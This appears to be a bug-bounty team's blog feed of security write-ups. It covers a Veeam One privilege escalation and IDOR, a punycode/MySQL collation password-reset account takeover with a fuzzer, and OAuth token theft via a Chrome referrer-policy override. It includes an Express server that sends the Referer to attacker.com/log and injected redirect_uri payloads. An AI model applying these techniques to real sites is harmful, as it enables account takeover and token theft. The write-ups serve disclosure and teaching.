<p>Installing Veeam One, a couple of services like Veeam One server, client, and agent for communication between components are installed. Reviewing Veeam One source code, there's a section of code regarding the Veeam One agent component that is vulnerable to LPE due to an argument that is controllable by the user. By injecting the malicious DLL, I bypassed the protection with path traversal and escalated the user's role to the local system (administrator).</p>
<p>The <code>TryResolveAssemblyFromFile</code> function takes 3 args to format the dll filename. <code>string text string.Format{"{0}{1}{2}.d11", arg, Path.DirectorySeparatorChar, arg2);</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728115641229/439118cd-1dd9-4cc5-ad8b-ca5c3ea44fab.png?auto=compress,format&amp;format=webp" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728115895642/6aaae6fe-949b-4095-acc3-511aff390a70.png?auto=compress,format&amp;format=webp" alt /></p>
<h2 id="heading-broken-access-controls-and-idors"><strong>Broken Access Controls and IDORs</strong></h2>
<p>Besides the previously reported bugs, I found multiple access control issues along with IDORs by auditing the source code as mentioned earlier. I will provide one example in this post to show how an attacker could approach finding this bug on Veeam One product using both black-box and white-box methods.</p>
<h3 id="heading-black-box-approach"><strong>Black-box approach</strong></h3>
<p>First, I needed to understand the different roles and groups to better grasp what each user does in the Veeam One system. After reading the docs and realized there are three types of group each having a set of permissions:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728149686693/6acc913c-59f5-44ed-97f6-9ffdfd9d628f.png?auto=compress,format&amp;format=webp" alt /></p>
<p>I created two accounts with different permissions (read-only and power user) to test features and their related API endpoints.</p>
<p>There was a specific section that allowed users to create backup repository locations.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728149882117/7e66e8e0-9bd6-433f-8216-7fd45f659ffa.png?auto=compress,format&amp;format=webp" alt /></p>
<p>Then, I added a custom location using the power user account and checked with the read-only user to see if I could delete the related record by providing the ID.</p>
<p>Here is the request for removing the related data.</p>
<pre><code class="lang-python">DELETE /api/v2<span class="hljs-number">.2</span>/geolocations/cities/{VALUE} HTTP/<span class="hljs-number">2</span>
Host: <span class="hljs-number">192.168</span><span class="hljs-number">.1</span><span class="hljs-number">.101</span>:<span class="hljs-number">1239</span>
Cookie: {VALUE}
User-Agent: Mozilla/<span class="hljs-number">5.0</span> (Macintosh; Intel Mac OS X <span class="hljs-number">10.15</span>; rv:<span class="hljs-number">125.0</span>) Gecko/<span class="hljs-number">20100101</span> Firefox/<span class="hljs-number">125.0</span>
Accept: */*
Accept-Language: en-US,en;q=<span class="hljs-number">0.5</span>
Accept-Encoding: gzip, deflate, br
Veeam-Connection-Id: {VALUE}
Authorization: Bearer {VALUE}
Content-Type: application/json;charset=utf<span class="hljs-number">-8</span>
Content-Length: <span class="hljs-number">2</span>
Origin: https://<span class="hljs-number">192.168</span><span class="hljs-number">.1</span><span class="hljs-number">.101</span>:<span class="hljs-number">1239</span>
Referer: https://<span class="hljs-number">192.168</span><span class="hljs-number">.1</span><span class="hljs-number">.101</span>:<span class="hljs-number">1239</span>/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: yellow
Te: trailers

[]
</code></pre>
<p>Using another numerical value like 1, 2, etc., resulted in the data added by the power user being removed by the read-only user, which was contrary to what the documents described.</p>
<h3 id="heading-white-box-approach"><strong>White-box approach</strong></h3>
<p>I used two methods to find these types of bugs. The first method was identifying the API endpoints and their related functions.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728150879607/b4f2dfe6-2460-41ef-913c-4a40ded60676.png?auto=compress,format&amp;format=webp" alt /></p>
<p>For example, I could find most of the Veeam One APIs by searching for <code>[route(“</code> in the source code and reading each one to see which user groups have the right to call the respective endpoint.</p>
<p>The second method involved finding the bug using a black-box approach and then searching for similar vulnerable endpoints in the source code.</p>
<p>Here is the actual vulnerable code (delete custom locations):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728151126846/e2e054b6-9877-454f-b525-b1d4e16054c1.png?auto=compress,format&amp;format=webp" alt /></p>
<p>It takes an argument <code>int CityId</code> and passes it to the <code>GetCity</code> function directly without checking which user created the value, leading to the IDOR vulnerability.</p>
<h2 id="heading-bug-bounty-tips"><strong>Bug Bounty Tips</strong></h2>
<ul>
<li><p>Don't be afraid of programs with .exe files. Not all of them are binaries; some come with web-based platform installations</p>
</li>
<li><p>When you find the first bug, such as broken access control, search through the source code to see if the developer made similar mistakes elsewhere</p>
</li>
<li><p>Search for old CVEs, it can give you handy information about the platform</p>
</li>
</ul>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>It took me two weeks to find the first bug. Sometimes it takes weeks to fully understand the platforms, and the key is not giving up. I hope you all enjoyed my blog post.</p>
<p>See you in the next one!</p>
]]></content:encoded></item><item><title><![CDATA[Puny-Code, 0-Click Account Takeover]]></title><description><![CDATA[Hello! This blog post is a detailed version of the talk given by Amir and me at Nahamcon 2025. We usually choose a topic to focus on, spending time on it - it might turn into a 0day or just a simple checklist. Then we apply our findings to our daily ...]]></description><link>https://blog.voorivex.team/puny-code-0-click-account-takeover</link><guid isPermaLink="true">https://blog.voorivex.team/puny-code-0-click-account-takeover</guid><category><![CDATA[puny-code]]></category><category><![CDATA[account takeover]]></category><category><![CDATA[OAuth2]]></category><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Sun, 01 Jun 2025 18:21:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748782107540/61ba7f18-9744-4daf-9072-8f73aa9ff2f6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello! This blog post is a detailed version of the talk given by <a target="_blank" href="https://x.com/amirmsafari">Amir</a> and me at Nahamcon 2025. We usually choose a topic to focus on, spending time on it - it might turn into a 0day or just a simple checklist. Then we apply our findings to our daily hunting. Last year, we found an interesting inconsistency between mail servers and databases - there was a parsing disagreement on some characters. We immediately set up a testbed to investigate, and it led to discovering a neat attack. Actually, it had been discovered before us; we just put it into action and made around $50k from it. I’m not saying it was a 0day, but many programs were vulnerable. My most recent bug using this technique was about two weeks ago.</p>
<p>When it comes to inconsistency, I believe this is one of the most important root causes in security. It's at the center of many bugs and even led to the discovery of a whole class of vulnerabilities: HTTP Request Smuggling. Now, take a look at these URLs:</p>
<pre><code class="lang-plaintext">https://attacker.com%bf:@benign.com
https://attacker.com\@benign.com
</code></pre>
<p>Imagine there's a security function that checks if the host is legitimate, and a cURL function that sends the HTTP request. So, what's the host here? <code>attacker.com</code> or <code>site.com</code>? Honestly speaking, it doesn't even matter. The key point is that the layers should never disagree on host extraction. If they do, there's a high chance of a vulnerability.</p>
<p>Amir <a target="_blank" href="https://x.com/AmirMSafari/status/1744742806286139860">tweeted</a> about this case about a year ago as a white-box challenge, as he often does. Many hunters got involved, but we never disclosed that it's actually a profitable vulnerability. I call it a money-maker because it's easy to test - not a complex gadget-chaining exploit or anything like that. It can happen in different parts of web applications. I'm focusing on the reset password functionality using an arbitrary mail server and MySQL. So, let's review a reset password function together:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747234998918/e6380d28-39b3-4a45-a0b4-4d2243f6f44b.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>The user enters their email address</p>
</li>
<li><p>The web app checks the database to see if the user exists or not?</p>
</li>
<li><p>To check, it runs a select query with the user’s input</p>
</li>
<li><p>If the user is found, a token gets saved in the database</p>
</li>
<li><p>The token will also be emailed to the user. So, that’s the workflow — simple and clear.</p>
</li>
<li><p>The question is, which email is passed to the SMTP server? The one the user typed in, or the one in stored in the database?</p>
</li>
</ol>
<p>If it’s pulled from the database, then the web app is safe. If it’s pulled from the user input, then the web app is vulnerable. You might be wondering why this happens, and how? Let’s check out SMTP servers behaviour when they encounter a different character set. As you can see, the SMTP server treats “a” and the odd “a” as completely different. They’re two separate email addresses and never conflict with each other:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747235062016/a4ca4dfb-ace1-491e-8471-e343aed28e8f.png" alt class="image--center mx-auto" /></p>
<p>Now, let’s take a look at MySQL in a same situation. MySQL casts the odd “a” to the normal “a,” and that’s where the story begins. Let’s dig into it a little bit more:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747235103225/a071ca41-8338-4b89-9744-eb3c66844779.png" alt class="image--center mx-auto" /></p>
<p>In the first query, MySQL casts the odd “a” to the normal “a” so they end up equal. But in the second query, “a” doesn’t match the odd “a” because of the collation settings. The good news for hunters is that MySQL’s default settings handle that casting automatically - so if developers just code things the usual way, that inconsistency comes in. Where did this odd “a” come from? Just pick a letter—like “a”—and run a simple fuzzer:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747235183676/273f6d13-f486-49c5-b0c6-1a632167a57c.png" alt class="image--center mx-auto" /></p>
<p>You’ll quickly find all the characters that get treated like “a.” It’s really simple, i’ll show you the fuzzer code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> mysql.connector

conn = mysql.connector.connect(
    host=<span class="hljs-string">"localhost"</span>,
    user=<span class="hljs-string">"test"</span>,
    password=<span class="hljs-string">"test"</span>,
    database=<span class="hljs-string">"test"</span>
)

cursor = conn.cursor()

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, <span class="hljs-number">0x10ffff</span> + <span class="hljs-number">1</span>):
    char = chr(i)

    cursor.execute(<span class="hljs-string">"SELECT %s = 'a' AS is_equal"</span>, (char,))
    result = cursor.fetchone()

    <span class="hljs-keyword">if</span> result[<span class="hljs-number">0</span>]:
        print(<span class="hljs-string">f"Unicode Character <span class="hljs-subst">{i}</span> (<span class="hljs-subst">{char}</span>) is equal to 'a' in MySQL"</span>)

cursor.close()
conn.close()
</code></pre>
<p>There are various attack scenarios, I’m picking three to discuss:</p>
<ul>
<li><p>Forgot Password Section</p>
</li>
<li><p>OAuth Provider Email Trust</p>
</li>
<li><p>OAuth Provider Redirect URL</p>
</li>
</ul>
<h2 id="heading-forgot-password-section">Forgot Password Section</h2>
<p>Let’s go for the first one, the scenario is simple: find an email to take over. In the forgot password section, enter the victim’s email address, intercept the HTTP request, and change the email to the puny-coded version. The reset password link for the victim will then be emailed to the puny-coded email, which is under your control. The attacker enters <a target="_blank" href="mailto:victim@gmail.com">victim@gmail.com</a>, but with the odd “a” which is not a normal “a”. This email actually belongs to the attacker. In the next step, the web app runs a SQL query to check if the email exists. Here it gets interesting: MySQL casts the odd “a” into a normal “a,” so the attacker’s email turns into the real victim’s email address. Since the email does exist in the database, a token is issued and saved. Then, the SMTP server sends the reset link to <a target="_blank" href="mailto:victim@gmail.com">victim@gmail.com</a> - but with the odd “a,” which goes to the attacker’s mailbox and that’s it. The attacker now has the victim’s reset link.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747235370906/c316fbec-88f0-4303-b4fe-cc17ce3e7f94.png" alt class="image--center mx-auto" /></p>
<p>Simple. Practical. 0-click ATO. Here’s an example from a public program on HackerOne. As you can see, I laid out the full attack scenario in the report. We’ve actually found a bunch of websites that were vulnerable to this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748026117830/4318c5ed-b957-4893-90c0-54f2ae2b0fc8.png" alt class="image--center mx-auto" /></p>
<p>In this case, they should’ve paid 25k - but unfortunately, the asset wasn’t considered a main one. Still, 6k is 6k and i’m good with it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748026165350/5430532b-7a0b-410c-ba1f-d9886ace8c42.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-is-wordpress-safe">Is WordPress Safe?</h2>
<p>We went a little bit too far and even started checking WordPress. Turns out, it’s not vulnerable - even when using the risky collation. I wanna show you this secure case, it might be interesting.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748026192810/a0ae5e02-8422-41d2-8f15-2c95e4faa5de.png" alt class="image--center mx-auto" /></p>
<p>WordPress uses this collation and as you can see, “a” is equal to the odd “a”, at the first glance it might be dangerous:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747235428058/11ac9b0a-88fc-4ba3-baa7-fe0c44e6e18f.png" alt class="image--center mx-auto" /></p>
<p>But it’s not vulnerable. WordPress uses the user’s input to query the database, but when it comes to sending the email, it uses the email pulled from the database. This is so important, So even if you enter a puny-coded version of <a target="_blank" href="mailto:victim@gmail.com">victim@gmail.com</a>, WordPress generates the reset link for the real <a target="_blank" href="mailto:victim@gmail.com">victim@gmail.com</a> and sends reset password link to the legitimate email address:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748026267263/cd1ba2e2-7e97-469f-9ff9-0264c66a0663.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-oauth-provider-email-trust">OAuth Provider Email Trust</h2>
<p>Now let’s look at the OAuth provider email trust issue. Some websites are safe in the forgot password flow, but they’re still vulnerable in other areas - like OAuth login. If the provider responds with a puny-coded version of the email, i’m talking about the callback phase during login, the web application can become vulnerable to the same attack. Here’s the OAuth flow:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747235529977/4edabb7e-d814-4bc2-97db-bc01efeb31b6.png" alt class="image--center mx-auto" /></p>
<p>In the final step, the web app calls the provider’s API and grabs the malicious email. That’s where the vulnerability kicks in. The app runs a query to find that email in the database, and if MySQL casts the odd “a” to a normal “a,” the attacker ends up logging in as the victim.</p>
<p>We checked Google - it delivers the email safely. I’m not gonna comment on Apple and Facebook; you can test those yourself. But what’s surprising is that Login with GitLab is actually vulnerable. It delivers the puny-coded email to the application, which leads to the vulnerability, Of course, that’s only if the application doesn’t validate the email properly or is using a risky collation. but the result is: if you go in a website and see “login with gitlab” button, it’s likely vulnerable.</p>
<p>We've created a web application that is vulnerable to this attack. It's simple to set up with just a <code>docker compose up</code> command. You can <a target="_blank" href="https://github.com/VoorivexTeam/white-box-challenges/tree/main/punycode">find it here</a>. Feel free to practice with it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748026869144/793a400f-9b45-45d5-9645-a8b681a8e30b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-oauth-provider-redirect-url">OAuth Provider Redirect URL</h2>
<p>This attack can also be carried out in the OAuth provider’s callback URL. I’m not gonna dive into it—I just want to introduce the idea. The concept is basically the same as the previous one.</p>
<h2 id="heading-the-end">The End</h2>
<p>There are also more attack vectors with puny-code. If you find anything new, it’d be great to share it online. In conclusion, while we've discovered several bugs, there are likely many more yet to be found. Puny-code presents additional attack vectors that need attention. Sharing new findings online can help improve security. Stay vigilant and continue exploring potential vulnerabilities. I hope you found this blog post useful, thanks for the reading.</p>
]]></content:encoded></item><item><title><![CDATA[Stealing oAuth Token via Referrer Policy Override]]></title><description><![CDATA[Hello, let’s get straight to the main course. OAuth implementation has many hidden parts that have been discussed before on the internet. The most famous one is Account hijacking using “dirty dancing” in sign-in OAuth-flows, which inspired Omid and l...]]></description><link>https://blog.voorivex.team/leaking-oauth-token-via-referrer-leakage</link><guid isPermaLink="true">https://blog.voorivex.team/leaking-oauth-token-via-referrer-leakage</guid><category><![CDATA[chrome 0day]]></category><category><![CDATA[account takeover]]></category><category><![CDATA[OAuth Security]]></category><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Tue, 06 May 2025 20:38:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746603371775/a6f7970e-e14d-4cd5-9544-158f95ac1ae4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello, let’s get straight to the main course. OAuth implementation has many hidden parts that have been discussed before on the internet. The most famous one is <a target="_blank" href="https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/">Account hijacking using “dirty dancing” in sign-in OAuth-flows</a>, which inspired Omid and led him to find his <a target="_blank" href="https://blog.voorivex.team/oauth-non-happy-path-to-ato">amazing bug</a>, which was nominated, then accepted for <a target="_blank" href="https://portswigger.net/research/top-10-web-hacking-techniques-of-2024">top web hacking techniques of 2024</a>.</p>
<p>The attack scenario involves diverting the user from the usual OAuth or SSO authentication process. I think the OAuth is clear, but SSO has many implementations. Here, I'm referring to the redirect method, which Hashnode, the blog provider I'm using, has implemented. If you want to technically see what I'm saying, just click on the login button here. It uses the redirect method in SSO, on which I previously <a target="_blank" href="https://blog.voorivex.team/account-takeover-due-to-dns-rebinding">found a severe vulnerability</a>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746635684126/fad95442-f381-4f18-b485-57e0b1bbc13c.png" alt class="image--center mx-auto" /></p>
<p>By the way, I'm not going into detail about the tricks since Frans Rosen's write-up covers it thoroughly. To summarize, you should redirect the victim to an alternative path that:</p>
<ul>
<li><p>has limited HTMLi, only <code>&lt;meta&gt;</code> and <code>&lt;img&gt;</code> tags (nothing new, <a target="_blank" href="https://x.com/omidxrz/status/1919495529446138219">Omid’s tweet</a>)</p>
</li>
<li><p>has limited HTMLi, DOMPurified, only <code>&lt;img&gt;</code> tag + <code>referrerpolicy</code> attribute (nothing new)</p>
</li>
<li><p>has limited HTMLi, DOMPurified, only <code>&lt;style&gt;</code> (nothing new, <a target="_blank" href="https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token">CSS exfiltration works</a>)</p>
</li>
<li><p>has the capability of taking control of an image tag <code>src</code> attribute (Chrome 0day?, rare case)</p>
</li>
<li><p>has limited HTMLi, DOMPurified, only <code>&lt;img&gt;</code> tag is allowed (Chrome 0day?, not rare)</p>
</li>
</ul>
<p>The first three cases have been widely discussed before, but last night I saw <a target="_blank" href="https://x.com/slonser_/status/1919439373986107814">a mysterious tweet</a> that opened a new insight. The tweet discusses the fourth case, which surprised me. Why surprising? The default browser behavior does not leak the referrer when fetching elements such as images from third parties unless the <code>referrerpolicy</code> is set to <code>unsafe-url</code>. Assume there is an OAuth link like this:</p>
<pre><code class="lang-plaintext">https://oauth-provider.com/oauth/authorize?
response_type=code&amp;
client_id=YOUR_APP_ID&amp;
redirect_uri=https://legitimate.com/callback&amp;
scope=openid%20profile%20email&amp;
state=random_state_string
</code></pre>
<p>Here, the attacker alters the <code>redirect_uri</code> to something like the following URL:</p>
<pre><code class="lang-plaintext">redirect_uri=https://legitimate.com/callback/../page?param=limited_html_here
</code></pre>
<p>I should add that some providers, like Google, do not allow even a small change in <code>redirect_uri</code>. Some allow small changes, such as a trailing slash, and some are more lenient and only securely validate the domain name, exactly like my last case. On the other hand, there are plenty of ways to disrupt the OAuth flow, leading the victim to a place where there is a small HTMLi. Here, if the attacker has the capability of injecting an <code>&lt;img&gt;</code> tag without attributes, they won’t be able to steal the token since the <strong>full referer</strong> won’t be included in the HTTP request (only the Origin will). So:</p>
<pre><code class="lang-plaintext">https://oauth-provider.com/oauth/authorize?
response_type=code&amp;
client_id=YOUR_APP_ID&amp;
redirect_uri=https://legitimate.com/callback/../page?param=&lt;a+hre='//attacker.com/xyz.jpg'&gt;&amp;
scope=openid%20profile%20email&amp;
state=random_state_string
</code></pre>
<p>Does nothing as the browser finally reaches the following link:</p>
<pre><code class="lang-plaintext">https://legitimate.com/callback/../page?
param=&lt;a+hre='//attacker.com/xyz.jpg'&gt;&amp;
code=AUTHORIZATION_CODE&amp;
state=random_state_string
</code></pre>
<p>Which results in sending an HTTP request to <code>//attacker.com/xyz.jpg</code> equipped with:</p>
<pre><code class="lang-http"><span class="hljs-attribute">Referer</span>: https://legitimate.com
</code></pre>
<p>This scenario is not working, as a hunter fell into this trick and <a target="_blank" href="https://x.com/whithat444/status/1919748437261652270">tweeted about it</a>. Now we reach the exciting part of this blog post, which seems to be a <a target="_blank" href="https://x.com/terjanq/status/1919484923070611632">Google Chrome 0day</a>. The <a target="_blank" href="https://x.com/slonser_">@slonser_</a> has found that the policy header can be overridden:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> app = express();
<span class="hljs-keyword">const</span> port = <span class="hljs-number">9999</span>;
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);

app.get(<span class="hljs-string">'/image.jpg'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.setHeader(<span class="hljs-string">'Link'</span>, <span class="hljs-string">'&lt;https://attacker.com/log&gt;;rel="preload"; as="image"; referrerpolicy="unsafe-url"'</span>);
    res.sendFile(path.join(__dirname, <span class="hljs-string">'logo.jpg'</span>));
});

app.get(<span class="hljs-string">'/log'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(req.headers[<span class="hljs-string">'referer'</span>]);
    res.send(<span class="hljs-string">'Hi!'</span>);
});

app.listen(port, <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Server running at http://localhost:<span class="hljs-subst">${port}</span>`</span>);
});
</code></pre>
<p>The code delivers and applies a <code>referrerpolicy="unsafe-url"</code> for the attacker’s logger path. You probably know that, unlike other browsers, Chrome resolves the Link header on sub-resource HTTP requests, and this is an <a target="_blank" href="https://issues.chromium.org/issues/373263969">intentional behavior, not a vulnerability</a>. The problem here is that Chrome applies a new referrer policy, which includes the complete referrer, including the OAuth token, etc. Taking advantage of this, the attacker will receive the token via the referrer header.</p>
<p>As a final word, let me summarize the whole methodology:</p>
<ul>
<li><p>Find a limited HTMLi, more specifically, DOMPurified inputs are best since companies have over-trusted it, commonly allowing limited HTMLi</p>
</li>
<li><p>Redirect the user to the injectable path; this can happen in OAuth and SSO. Take advantage of methods in Frans Rosen's blog post</p>
</li>
<li><p>Exploit the behavior to leak the token using Referer Leakage or CSS data exfiltration (mentioned before)</p>
</li>
</ul>
<p>I don’t know when Google will issue a patch for this, but until then, you can find vulnerabilities as we do:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746561154529/7cb1d6a2-9f41-4da3-a8e9-f183d6df8f09.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-a-test-bed-to-play-with">A Test-bed to Play with</h2>
<p><a target="_blank" href="https://x.com/AmirMSafari">Amir</a> coded a <a target="_blank" href="https://github.com/VoorivexTeam/white-box-challenges/tree/main/referer-override">vulnerable test bed</a>, you can install and practice with it. He’s also found 2 ATOs and several in-exploitable places with these techniques. I really appreciate him for sharing his knowledge in this web application.</p>
]]></content:encoded></item><item><title><![CDATA[CSS Data Exfiltration to Steal OAuth Token]]></title><description><![CDATA[Hello, I’m Amir, and this is my first blog post here. Some time ago, @YShahinzadeh shared an endpoint with me and asked me to investigate it. It was vulnerable to HTML injection. Although it couldn't lead to XSS, I started exploring how to make the m...]]></description><link>https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token</link><guid isPermaLink="true">https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token</guid><category><![CDATA[Side Channel Atacks]]></category><category><![CDATA[CSS Data Exfiltration]]></category><category><![CDATA[OAuth Security]]></category><dc:creator><![CDATA[Amirmohammad Safari]]></dc:creator><pubDate>Sat, 15 Feb 2025 17:28:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739656786766/54c53dbe-4203-4d9a-8c0b-bc1f30588a6b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello, I’m Amir, and this is my first blog post here. Some time ago, <a target="_blank" href="http://x.com/yshahinzadeh">@YShahinzadeh</a> shared an endpoint with me and asked me to investigate it. It was vulnerable to HTML injection. Although it couldn't lead to XSS, I started exploring how to make the most of this HTML injection. The target site used the latest version of DOMPurify for input sanitization, which meant bypassing it with JavaScript wasn't possible. However, I discovered that DOMPurify, by default, allows CSS injection through the <code>&lt;script&gt;</code> tag. I found an exploitable CSS injection (though there was no sensitive information on the page). After spending several days, I managed to chain it with an OAuth misconfiguration to leak victims' OAuth tokens. We reported the vulnerability twice (for two different endpoints) and received 2×$4850 for it. I would like to share the details of the discovery and exploitation, so let’s dive in.</p>
<h2 id="heading-blind-css-data-exfiltration">Blind CSS Data Exfiltration</h2>
<p>Before going through the technique, let’s ask a question: Why should someone use CSS to exfiltrate data? There may be several reasons, such as <strong>Bypassing CSP (Content Security Policy)</strong> or restrictions in XSS. Many websites implement <strong>CSP</strong> to block inline JavaScript execution and restrict external scripts, making traditional XSS attacks harder. However, CSS is often allowed in CSP rules (style-src is more lenient than script-src). Let’s assume you have found a reflection value in the <code>&lt;style&gt;</code> tag where angle brackets are filtered, so you cannot escape the tag to achieve XSS.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="xml">
button {
  background-color: #3498db;
  color: white;
  padding: 10px 20px;
  border-radius: 5px;
  border: <span class="hljs-symbol">&amp;lt;</span>/style<span class="hljs-symbol">&amp;gt;</span>;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p>In this case, since XSS cannot be achieved, CSS exfiltration is helpful. CSS exfiltration is a technique used to leak sensitive information (e.g., CSRF tokens, passwords, or user-specific data) using CSS properties such as <code>background-image</code>, <code>url()</code>, and attribute selectors. I’m not going through the techniques here; please read a <a target="_blank" href="https://portswigger.net/research/blind-css-exfiltration">fundamental blog post</a> by <a target="_blank" href="https://twitter.com/garethheyes">@garethheyes</a>. You should know the basic concept and exploitation techniques to continue reading my post.</p>
<h2 id="heading-initial-point-dompurify">Initial Point + DOMPurify</h2>
<p>I can't name the program due to the disclosure policy, but it was a somewhat well-known public Bug Bounty Program on Hackerone. That's not important, so I'll focus on the technique I used. I was given a reflection point protected by DOMPurify. I started working on it, and after a while, I found that I couldn't bypass DOMPurify (though I've had several cases where I could bypass it because it wasn't updated). The default behavior of DOMPurify allows the <code>&lt;style&gt;</code> tag because it cannot be used for XSS attacks:</p>
<pre><code class="lang-javascript">DOMPurify.sanitize(<span class="hljs-string">"&lt;b&gt;&lt;/b&gt;&lt;style&gt;body { background-color: black }&lt;/style&gt;"</span>); 
<span class="hljs-comment">// &lt;b&gt;&lt;/b&gt;&lt;style&gt;body { background-color: black }&lt;/style&gt;</span>
</code></pre>
<p>Unfortunately, there wasn't any user-related sensitive information on the page to extract. I couldn't even find a username or email address, which would have been minor but still noteworthy. I was about to give up when I noticed something new.</p>
<h2 id="heading-sandbox-aligned-with-oauth-token">Sandbox Aligned with OAuth Token</h2>
<p>I noticed an interesting <code>&lt;script&gt;</code> tag sourced from Google Ads. I've seen many websites using this feature, and personally, I think it's not safe enough because it has risky behavior, which I used here to exploit this small flaw.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span> <span class="hljs-attr">async</span>=<span class="hljs-string">""</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://googleads.g.doubleclick.net/pagead/viewthroughconversion/[redacted]/?random=1739624868611<span class="hljs-symbol">&amp;amp;</span>cv=11<span class="hljs-symbol">&amp;amp;</span>fst=1739624868611<span class="hljs-symbol">&amp;amp;</span>bg=ffffff<span class="hljs-symbol">&amp;amp;</span>guid=ON<span class="hljs-symbol">&amp;amp;</span>async=1<span class="hljs-symbol">&amp;amp;</span>gtm=45je52d0v871252345z877887523za200zb77887523<span class="hljs-symbol">&amp;amp;</span>gcd=13t3t3t3t5l1<span class="hljs-symbol">&amp;amp;</span>dma=0<span class="hljs-symbol">&amp;amp;</span>tag_exp=102067808~102482433~102539968~102556565~102558064~102587591~102605417~102640600<span class="hljs-symbol">&amp;amp;</span>u_w=1800<span class="hljs-symbol">&amp;amp;</span>u_h=1169<span class="hljs-symbol">&amp;amp;</span>url=https%3A%2F%2F[redacted]%3F[redacted]%3Dd[payload]%26redacted%3D1%26redacted%3D1%26auth_token%3D[token]<span class="hljs-symbol">&amp;amp;</span>hn=www.googleadservices.com<span class="hljs-symbol">&amp;amp;</span>frm=0<span class="hljs-symbol">&amp;amp;</span>tiba=redacted<span class="hljs-symbol">&amp;amp;</span>userId=redacted<span class="hljs-symbol">&amp;amp;</span>rdp=1<span class="hljs-symbol">&amp;amp;</span>npa=0<span class="hljs-symbol">&amp;amp;</span>pscdl=noapi<span class="hljs-symbol">&amp;amp;</span>auid=1179807070.1736873068<span class="hljs-symbol">&amp;amp;</span>uaa=arm<span class="hljs-symbol">&amp;amp;</span>uab=64<span class="hljs-symbol">&amp;amp;</span>uafvl=Not(A%253ABrand%3B99.0.0.0%7CGoogle%2520Chrome%3B133.0.6943.55%7CChromium%3B133.0.6943.55<span class="hljs-symbol">&amp;amp;</span>uamb=0<span class="hljs-symbol">&amp;amp;</span>uam=<span class="hljs-symbol">&amp;amp;</span>uap=macOS<span class="hljs-symbol">&amp;amp;</span>uapv=14.6.0<span class="hljs-symbol">&amp;amp;</span>uaw=0<span class="hljs-symbol">&amp;amp;</span>fledge=1<span class="hljs-symbol">&amp;amp;</span>rfmt=3<span class="hljs-symbol">&amp;amp;</span>fmt=4"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>It reminded me of Frans Rosen's <a target="_blank" href="https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/">Dirty-dance OAuth write-up</a> (an excellent write-up on OAuth) where the targets had a sandbox with an OAuth token. However, in this case, nothing was reflected in the sandbox. I began adding parameters to the query string, and surprisingly, they were appended to the Google Ads URL.</p>
<blockquote>
<p>Later, I found that websites using Google Ads create multiple sandboxes on the page, and their default behavior reflects query strings, which could be used as gadgets to exploit other vulnerabilities.</p>
</blockquote>
